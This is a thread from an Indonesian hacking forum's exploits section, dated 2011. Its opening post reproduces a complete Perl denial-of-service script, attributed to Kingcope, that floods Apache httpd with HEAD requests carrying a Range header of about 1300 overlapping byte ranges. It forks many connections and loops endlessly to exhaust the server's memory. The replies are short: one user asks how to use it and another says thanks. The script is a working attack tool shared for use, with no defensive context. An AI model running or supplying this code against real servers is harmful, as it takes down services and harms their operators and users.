.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Info Apache Vulnerability that can cause DoS

Go down 
4 posters
PengirimMessage
Kingcope
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 1
Points : 3
Reputation : 0
Join date : 29.08.11

Info Apache Vulnerability that can cause DoS Empty
PostSubyek: Info Apache Vulnerability that can cause DoS   Info Apache Vulnerability that can cause DoS Icon_minitimeMon Aug 29, 2011 5:38 am

I.Description
Spoiler:



CODE :
Code:
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
   
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;   
   
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                PeerPort => "80",
                                  Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                PeerPort => "80",
                                  Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;   
} else {
    return 0;   
}
}

if ($#ARGV < 0) {
    usage;
    exit;   
}

if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;   
}
while(1) {
killapache();
}


Kembali Ke Atas Go down
CyberWild
Moderator
Moderator
CyberWild


Jumlah posting : 1665
Points : 2310
Reputation : 104
Join date : 11.06.11
Age : 43
Lokasi : internet cloud

Info Apache Vulnerability that can cause DoS Empty
PostSubyek: Re: Info Apache Vulnerability that can cause DoS   Info Apache Vulnerability that can cause DoS Icon_minitimeMon Aug 29, 2011 5:55 am

:salahkamar :salahkamar
Kembali Ke Atas Go down
http://cyberwild.p.ht/
saifmi
NuuBiiTooL
NuuBiiTooL
saifmi


Jumlah posting : 18
Points : 18
Reputation : 0
Join date : 02.10.11
Lokasi : Indonesia

Info Apache Vulnerability that can cause DoS Empty
PostSubyek: Re: Info Apache Vulnerability that can cause DoS   Info Apache Vulnerability that can cause DoS Icon_minitimeFri Oct 07, 2011 12:51 am

gimana makeknya gan :belajar:
Kembali Ke Atas Go down
green.day
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 9
Points : 9
Reputation : 0
Join date : 27.02.12

Info Apache Vulnerability that can cause DoS Empty
PostSubyek: Re: Info Apache Vulnerability that can cause DoS   Info Apache Vulnerability that can cause DoS Icon_minitimeMon Feb 27, 2012 9:52 pm

thanks gan
Kembali Ke Atas Go down
Sponsored content





Info Apache Vulnerability that can cause DoS Empty
PostSubyek: Re: Info Apache Vulnerability that can cause DoS   Info Apache Vulnerability that can cause DoS Icon_minitime

Kembali Ke Atas Go down
 
Info Apache Vulnerability that can cause DoS
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» DoS in apache httpd 2.0.49
» Exploit Apache 2.0.37-2.2.11
» WEBANDHOST CMS SQL Injection Vulnerability
» PhotoPost PHP SQL Injection Vulnerability
» eNdonesia 8.3 SQL Injection Vulnerability

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Exploits-
Navigasi: